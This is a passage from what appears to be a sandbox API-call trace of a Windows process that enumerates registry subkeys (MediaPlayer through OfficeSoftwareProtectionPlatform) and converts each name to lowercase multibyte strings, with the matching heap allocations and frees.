(HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.564] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mediaplayer", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mediaplayer", lpUsedDefaultChar=0x0) returned 11 [0041.564] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.564] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.564] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.564] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.564] RegEnumKeyW (in: hKey=0x24, dwIndex=0x35, lpName=0x90b930, cchName=0x104 | out: lpName="MessengerService") returned 0x0 [0041.564] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0041.564] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="messengerservice", cchWideChar=16, lpMultiByteStr=0x90c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messengerservice", lpUsedDefaultChar=0x0) returned 16 [0041.564] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.564] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.564] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.564] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.564] RegEnumKeyW (in: hKey=0x24, dwIndex=0x36, lpName=0x90b930, cchName=0x104 | out: lpName="Microsoft Reference") returned 0x0 [0041.564] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0041.564] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft reference", cchWideChar=19, lpMultiByteStr=0x90c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft reference", lpUsedDefaultChar=0x0) returned 19 [0041.564] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.564] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.564] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.564] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.565] RegEnumKeyW (in: hKey=0x24, dwIndex=0x37, lpName=0x90b930, cchName=0x104 | out: lpName="Microsoft SQL Server Compact Edition") returned 0x0 [0041.565] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0041.565] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sql server compact edition", cchWideChar=36, lpMultiByteStr=0x90c0d8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sql server compact edition", lpUsedDefaultChar=0x0) returned 36 [0041.565] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.565] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.565] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.565] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.565] RegEnumKeyW (in: hKey=0x24, dwIndex=0x38, lpName=0x90b930, cchName=0x104 | out: lpName="MigWiz") returned 0x0 [0041.565] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0041.565] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="migwiz", cchWideChar=6, lpMultiByteStr=0x90c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="migwiz", lpUsedDefaultChar=0x0) returned 6 [0041.565] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.565] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.565] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.565] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.565] RegEnumKeyW (in: hKey=0x24, dwIndex=0x39, lpName=0x90b930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0041.565] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0041.565] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmc", cchWideChar=3, lpMultiByteStr=0x90c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmc", lpUsedDefaultChar=0x0) returned 3 [0041.565] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.565] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.565] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.565] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.565] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3a, lpName=0x90b930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0041.565] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0041.565] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobile", cchWideChar=6, lpMultiByteStr=0x90c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobile", lpUsedDefaultChar=0x0) returned 6 [0041.565] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.565] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.565] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.566] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.566] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3b, lpName=0x90b930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0041.566] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0041.566] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msbuild", cchWideChar=7, lpMultiByteStr=0x90c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msbuild", lpUsedDefaultChar=0x0) returned 7 [0041.566] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.566] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.566] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.566] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.566] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3c, lpName=0x90b930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0041.566] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0041.566] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msde", cchWideChar=4, lpMultiByteStr=0x90c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msde", lpUsedDefaultChar=0x0) returned 4 [0041.566] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.566] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.566] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.566] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.566] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3d, lpName=0x90b930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0041.566] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0041.566] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x90c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0041.566] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.566] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.566] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.566] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.566] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3e, lpName=0x90b930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0041.566] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0041.566] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msf", cchWideChar=3, lpMultiByteStr=0x90c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msf", lpUsedDefaultChar=0x0) returned 3 [0041.566] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.567] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.567] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.567] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.567] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3f, lpName=0x90b930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0041.567] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.567] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mslicensing", cchWideChar=11, lpMultiByteStr=0x90c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mslicensing", lpUsedDefaultChar=0x0) returned 11 [0041.567] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.567] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.567] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.567] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.567] RegEnumKeyW (in: hKey=0x24, dwIndex=0x40, lpName=0x90b930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0041.567] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0041.567] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msmq", cchWideChar=4, lpMultiByteStr=0x90c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmq", lpUsedDefaultChar=0x0) returned 4 [0041.567] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.567] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.567] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.567] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90bbb8) returned 1 [0041.567] RegEnumKeyW (in: hKey=0x24, dwIndex=0x41, lpName=0x90b930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0041.567] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90bbb8 [0041.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0041.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msn apps", cchWideChar=8, lpMultiByteStr=0x90c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msn apps", lpUsedDefaultChar=0x0) returned 8 [0041.567] RegEnumKeyW (in: hKey=0x24, dwIndex=0x42, lpName=0x90b930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0041.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0041.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msosoap", cchWideChar=7, lpMultiByteStr=0x90c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msosoap", lpUsedDefaultChar=0x0) returned 7 [0041.567] RegEnumKeyW (in: hKey=0x24, dwIndex=0x43, lpName=0x90b930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0041.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssearch36", cchWideChar=10, lpMultiByteStr=0x90c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssearch36", lpUsedDefaultChar=0x0) returned 10 [0041.568] RegEnumKeyW (in: hKey=0x24, dwIndex=0x44, lpName=0x90b930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0041.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssqlserver", cchWideChar=11, lpMultiByteStr=0x90c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssqlserver", lpUsedDefaultChar=0x0) returned 11 [0041.568] RegEnumKeyW (in: hKey=0x24, dwIndex=0x45, lpName=0x90b930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0041.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0041.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="multimedia", cchWideChar=10, lpMultiByteStr=0x90c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="multimedia", lpUsedDefaultChar=0x0) returned 10 [0041.568] RegEnumKeyW (in: hKey=0x24, dwIndex=0x46, lpName=0x90b930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0041.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0041.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="napserver", cchWideChar=9, lpMultiByteStr=0x90c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="napserver", lpUsedDefaultChar=0x0) returned 9 [0041.568] RegEnumKeyW (in: hKey=0x24, dwIndex=0x47, lpName=0x90b930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0041.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0041.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="net framework setup", cchWideChar=19, lpMultiByteStr=0x90c0d8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="net framework setup", lpUsedDefaultChar=0x0) returned 19 [0041.568] RegEnumKeyW (in: hKey=0x24, dwIndex=0x48, lpName=0x90b930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0041.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0041.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netsh", cchWideChar=5, lpMultiByteStr=0x90c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netsh", lpUsedDefaultChar=0x0) returned 5 [0041.568] RegEnumKeyW (in: hKey=0x24, dwIndex=0x49, lpName=0x90b930, cchName=0x104 | out: lpName="Network") returned 0x0 [0041.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0041.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="network", cchWideChar=7, lpMultiByteStr=0x90c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="network", lpUsedDefaultChar=0x0) returned 7 [0041.568] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4a, lpName=0x90b930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0041.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0041.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="networkaccessprotection", cchWideChar=23, lpMultiByteStr=0x90c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="networkaccessprotection", lpUsedDefaultChar=0x0) returned 23 [0041.569] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4b, lpName=0x90b930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0041.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0041.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="non-driver signing", cchWideChar=18, lpMultiByteStr=0x90c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="non-driver signing", lpUsedDefaultChar=0x0) returned 18 [0041.569] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4c, lpName=0x90b930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0041.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0041.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="notepad", cchWideChar=7, lpMultiByteStr=0x90c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notepad", lpUsedDefaultChar=0x0) returned 7 [0041.569] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4d, lpName=0x90b930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0041.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0041.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="odbc", cchWideChar=4, lpMultiByteStr=0x90c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="odbc", lpUsedDefaultChar=0x0) returned 4 [0041.569] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4e, lpName=0x90b930, cchName=0x104 | out: lpName="Office") returned 0x0 [0041.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0041.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="office", cchWideChar=6, lpMultiByteStr=0x90c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="office", lpUsedDefaultChar=0x0) returned 6 [0041.569] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4f, lpName=0x90b930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0041.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0041.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="officesoftwareprotectionplatform", cchWideChar=32, lpMultiByteStr=0x90c0d8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 